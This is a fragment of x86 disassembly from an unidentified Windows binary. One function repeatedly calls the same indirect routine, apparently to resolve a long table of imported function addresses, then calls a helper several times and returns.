push dword [0x41bee4]
mov dword [0x41ba1c], eax
push edi
call dword [0x41b9cc]
push dword [0x41bee8]
mov dword [0x41ba20], eax
push esi
call dword [0x41b9cc]
push dword [0x41beec]
mov dword [0x41ba24], eax
push esi
call dword [0x41b9cc]
push dword [0x41bef0]
mov edi, dword [ebp - 0x20]
push edi
mov dword [0x41ba28], eax
call dword [0x41b9cc]
push dword [0x41bef4]
mov dword [0x41ba2c], eax
push edi
call dword [0x41b9cc]
push dword [0x41bef8]
mov dword [0x41ba30], eax
push edi
call dword [0x41b9cc]
push dword [0x41befc]
mov dword [0x41ba34], eax
push edi
call dword [0x41b9cc]
push dword [0x41bf00]
mov dword [0x41ba38], eax
push edi
call dword [0x41b9cc]
push dword [0x41bf04]
mov dword [0x41ba3c], eax
push edi
call dword [0x41b9cc]
push dword [0x41bf08]
mov dword [0x41ba40], eax
push edi
call dword [0x41b9cc]
push dword [0x41bf0c]
mov dword [0x41ba44], eax
push edi
call dword [0x41b9cc]
push dword [0x41bf10]
mov dword [0x41ba48], eax
push edi
call dword [0x41b9cc]
push dword [0x41bf14]
mov dword [0x41ba4c], eax
push esi
call dword [0x41b9cc]
push dword [0x41bf18]
mov dword [0x41ba50], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41bf1c]
mov dword [0x41ba54], eax
push dword [ebp - 0x10]
call dword [0x41b9cc]
push dword [0x41bf24]
mov dword [0x41ba58], eax
push dword [ebp - 0x10]
call dword [0x41b9cc]
push dword [0x41bf20]
mov dword [0x41ba5c], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41c0ec]
mov dword [0x41b998], eax
push dword [ebp - 0x10]
call dword [0x41b9cc]
push dword [0x41bf28]
mov dword [0x41ba60], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41bf34]
mov dword [0x41ba64], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41bf2c]
mov dword [0x41ba68], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41bf30]
mov dword [0x41ba70], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41bf38]
mov dword [0x41ba6c], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41bf3c]
mov dword [0x41ba74], eax
push esi
call dword [0x41b9cc]
push dword [0x41bf40]
mov dword [0x41ba78], eax
push esi
call dword [0x41b9cc]
push dword [0x41bf44]
mov dword [0x41ba7c], eax
push esi
call dword [0x41b9cc]
push dword [0x41bf48]
mov dword [0x41ba80], eax
push esi
call dword [0x41b9cc]
push dword [0x41bf4c]
mov dword [0x41ba84], eax
push esi
call dword [0x41b9cc]
push dword [0x41bf50]
mov dword [0x41ba88], eax
push esi
call dword [0x41b9cc]
push dword [0x41bf54]
mov dword [0x41ba8c], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41bf58]
mov dword [0x41ba90], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41bf5c]
mov dword [0x41ba94], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41bf60]
mov dword [0x41ba98], eax
push dword [ebp - 8]
call dword [0x41b9cc]
push dword [0x41bf64]
mov dword [0x41ba9c], eax
push dword [ebp - 8]
call dword [0x41b9cc]
push dword [0x41bf68]
mov dword [0x41baa0], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41bf6c]
mov dword [0x41baa4], eax
push ebx
call dword [0x41b9cc]
push dword [0x41bf70]
mov dword [0x41baa8], eax
push ebx
call dword [0x41b9cc]
push dword [0x41bf74]
mov dword [0x41baac], eax
push ebx
call dword [0x41b9cc]
push dword [0x41bf78]
mov dword [0x41bab0], eax
push dword [ebp - 0x24]
call dword [0x41b9cc]
push dword [0x41bf7c]
mov dword [0x41bab4], eax
push esi
call dword [0x41b9cc]
push dword [0x41bf80]
mov ebx, dword [ebp - 4]
push ebx
mov dword [0x41bab8], eax
call dword [0x41b9cc]
push dword [0x41bf84]
mov dword [0x41babc], eax
push ebx
call dword [0x41b9cc]
push dword [0x41bf88]
mov dword [0x41bac0], eax
push ebx
call dword [0x41b9cc]
push dword [0x41bf8c]
mov dword [0x41bac4], eax
push ebx
call dword [0x41b9cc]
push dword [0x41bf90]
mov dword [0x41bac8], eax
push ebx
call dword [0x41b9cc]
push dword [0x41bf94]
mov dword [0x41bacc], eax
push ebx
call dword [0x41b9cc]
push dword [0x41bf98]
mov esi, dword [ebp - 0x18]
push esi
mov dword [0x41bad0], eax
call dword [0x41b9cc]
push dword [0x41bf9c]
mov dword [0x41bad4], eax
push esi
call dword [0x41b9cc]
push dword [0x41bfa0]
mov dword [0x41bad8], eax
push esi
call dword [0x41b9cc]
push dword [0x41bfa4]
mov dword [0x41badc], eax
push ebx
call dword [0x41b9cc]
push dword [0x41bfa8]
mov dword [0x41bae0], eax
push ebx
call dword [0x41b9cc]
push dword [0x41bfac]
mov dword [0x41bae4], eax
push ebx
call dword [0x41b9cc]
push dword [0x41bfb0]
mov dword [0x41bae8], eax
push ebx
call dword [0x41b9cc]
push dword [0x41bfb4]
mov dword [0x41baec], eax
push ebx
call dword [0x41b9cc]
push dword [0x41bfb8]
mov dword [0x41baf0], eax
push ebx
call dword [0x41b9cc]
push dword [0x41bfbc]
mov dword [0x41baf4], eax
push esi
call dword [0x41b9cc]
push dword [0x41bfc0]
mov dword [0x41baf8], eax
push ebx
call dword [0x41b9cc]
push dword [0x41bfc4]
mov dword [0x41bafc], eax
push ebx
call dword [0x41b9cc]
push dword [0x41bfc8]
mov dword [0x41bb00], eax
push ebx
call dword [0x41b9cc]
push dword [0x41bfcc]
mov dword [0x41bb04], eax
push ebx
call dword [0x41b9cc]
push dword [0x41bfd0]
mov dword [0x41bb08], eax
push ebx
call dword [0x41b9cc]
push dword [0x41bfd4]
mov ebx, dword [ebp - 0x28]
push ebx
mov dword [0x41bb0c], eax
call dword [0x41b9cc]
push dword [0x41bfd8]
mov dword [0x41bb10], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41bfdc]
mov dword [0x41bb14], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41bfe0]
mov dword [0x41bb18], eax
push dword [ebp - 0x14]
call dword [0x41b9cc]
push dword [0x41bfe4]
mov dword [0x41bb1c], eax
push edi
call dword [0x41b9cc]
push dword [0x41bfe8]
mov dword [0x41bb20], eax
push edi
call dword [0x41b9cc]
push dword [0x41bfec]
mov edi, dword [ebp - 4]
push edi
mov dword [0x41bb24], eax
call dword [0x41b9cc]
push dword [0x41bff0]
mov dword [0x41bb28], eax
push edi
call dword [0x41b9cc]
push dword [0x41bff4]
mov edi, dword [ebp - 0x10]
push edi
mov dword [0x41bb2c], eax
call dword [0x41b9cc]
push dword [0x41bff8]
mov dword [0x41bb30], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41bffc]
mov dword [0x41bb34], eax
push dword [ebp - 0xc]
call dword [0x41b9cc]
push dword [0x41c000]
mov dword [0x41bb38], eax
push dword [ebp - 0xc]
call dword [0x41b9cc]
push dword [0x41c004]
mov dword [0x41bb3c], eax
push dword [ebp - 4]
call dword [0x41b9cc]
mov dword [0x41bb40], eax
push dword [0x41c008]
push dword [ebp - 0xc]
call dword [0x41b9cc]
push dword [0x41c00c]
mov dword [0x41bb44], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41c010]
mov dword [0x41bb48], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41c014]
mov dword [0x41bb4c], eax
push dword [ebp - 8]
call dword [0x41b9cc]
push dword [0x41c018]
mov dword [0x41bb50], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41c01c]
mov dword [0x41bb54], eax
push ebx
call dword [0x41b9cc]
push dword [0x41c020]
mov dword [0x41bb58], eax
push ebx
call dword [0x41b9cc]
push dword [0x41c024]
mov dword [0x41bb5c], eax
push edi
call dword [0x41b9cc]
push dword [0x41c028]
mov dword [0x41bb60], eax
push edi
call dword [0x41b9cc]
push dword [0x41c02c]
mov ebx, dword [ebp - 0xc]
push ebx
mov dword [0x41bb64], eax
call dword [0x41b9cc]
push dword [0x41c030]
mov dword [0x41bb68], eax
push ebx
call dword [0x41b9cc]
push dword [0x41c034]
mov dword [0x41bb6c], eax
push ebx
call dword [0x41b9cc]
push dword [0x41c038]
mov dword [0x41bb70], eax
push dword [ebp - 4]
call dword [0x41b9cc]
push dword [0x41c03c]
mov dword [0x41bb74], eax
push ebx
call dword [0x41b9cc]
push dword [0x41c040]
mov dword [0x41bb78], eax
push ebx
call dword [0x41b9cc]
push dword [0x41c044]
mov dword [0x41bb7c], eax
push ebx
call dword [0x41b9cc]
push dword [0x41c048]
mov dword [0x41bb80], eax
push ebx
call dword [0x41b9cc]
push dword [0x41c04c]
mov dword [0x41bb84], eax
push ebx
call dword [0x41b9cc]
push dword [0x41c050]
mov dword [0x41bb88], eax
push ebx
call dword [0x41b9cc]
push dword [0x41c054]
mov dword [0x41bb8c], eax
push ebx
call dword [0x41b9cc]
mov dword [0x41bb90], eax
push dword [0x41c058]
push ebx
call dword [0x41b9cc]
push dword [0x41c05c]
mov dword [0x41bb94], eax
push ebx
call dword [0x41b9cc]
push dword [0x41c060]
mov dword [0x41bb98], eax
push ebx
call dword [0x41b9cc]
push dword [0x41c064]
mov dword [0x41bb9c], eax
push ebx
call dword [0x41b9cc]
push dword [0x41c06c]
mov dword [0x41bba0], eax
push ebx
call dword [0x41b9cc]
push dword [0x41c068]
mov dword [0x41bba8], eax
push ebx
call dword [0x41b9cc]
push dword [0x41c070]
mov dword [0x41bba4], eax
push ebx
call dword [0x41b9cc]
push dword [0x41c074]
mov dword [0x41bbac], eax
push dword [ebp - 0x14]
call dword [0x41b9cc]
push dword [0x41c078]
mov dword [0x41bbb0], eax
push esi
call dword [0x41b9cc]
push dword [0x41c07c]
mov dword [0x41bbb4], eax
push ebx
call dword [0x41b9cc]
push dword [0x41c080]
mov ebx, dword [ebp - 0x2c]
push ebx
mov dword [0x41bbb8], eax
call dword [0x41b9cc]
push dword [0x41c084]
mov esi, dword [ebp - 0xc]
push esi
mov dword [0x41bbbc], eax
call dword [0x41b9cc]
push dword [0x41c088]
mov dword [0x41bbc0], eax
push ebx
call dword [0x41b9cc]
push dword [0x41c08c]
mov dword [0x41bbc4], eax
push ebx
call dword [0x41b9cc]
push dword [0x41c090]
mov dword [0x41bbc8], eax
push ebx
call dword [0x41b9cc]
push dword [0x41c094]
mov dword [0x41bbcc], eax
push ebx
call dword [0x41b9cc]
push dword [0x41c098]
mov dword [0x41bbd0], eax
push ebx
call dword [0x41b9cc]
push dword [0x41c09c]
mov dword [0x41bbd4], eax
push ebx
call dword [0x41b9cc]
push dword [0x41c0a0]
mov dword [0x41bbd8], eax
push ebx
call dword [0x41b9cc]
push dword [0x41c0a4]
mov dword [0x41bbdc], eax
push esi
call dword [0x41b9cc]
push dword [0x41c0a8]
mov dword [0x41bbe0], eax
push esi
call dword [0x41b9cc]
push dword [0x41c0ac]
mov dword [0x41bbe4], eax
push esi
call dword [0x41b9cc]
push dword [0x41c0b0]
mov dword [0x41bbe8], eax
push ebx
call dword [0x41b9cc]
push dword [0x41c0b4]
mov dword [0x41bbec], eax
push esi
call dword [0x41b9cc]
push dword [0x41c0b8]
mov dword [0x41bbf0], eax
push esi
call dword [0x41b9cc]
push dword [0x41c0bc]
mov dword [0x41bbf4], eax
push edi
call dword [0x41b9cc]
push dword [0x41c0c0]
mov dword [0x41bbf8], eax
push edi
call dword [0x41b9cc]
push dword [0x41c0c4]
mov ebx, dword [ebp - 4]
push ebx
mov dword [0x41bbfc], eax
call dword [0x41b9cc]
push dword [0x41c0c8]
mov dword [0x41bc00], eax
push ebx
call dword [0x41b9cc]
push dword [0x41c0cc]
mov dword [0x41bc04], eax
push dword [ebp - 0x14]
call dword [0x41b9cc]
push dword [0x41c0d0]
mov dword [0x41bc08], eax
push ebx
call dword [0x41b9cc]
push dword [0x41c0d4]
mov dword [0x41bc0c], eax
push ebx
call dword [0x41b9cc]
push dword [0x41be28]
mov dword [0x41bc10], eax
call fcn.0040531a
push dword [0x41c17c]
mov dword [0x41be58], eax
call fcn.0040531a
push dword [0x41c178]
mov dword [0x41c2d0], eax
call fcn.0040531a
push dword [0x41be48]
mov dword [0x41c2cc], eax
call fcn.0040531a
push dword [0x41be1c]
mov dword [0x41be5c], eax
call fcn.0040531a
push dword [0x41be20]
mov dword [0x41be54], eax
call fcn.0040531a
add esp, 0x18
mov dword [0x41be50], eax
pop edi
pop esi
pop ebx
leave
ret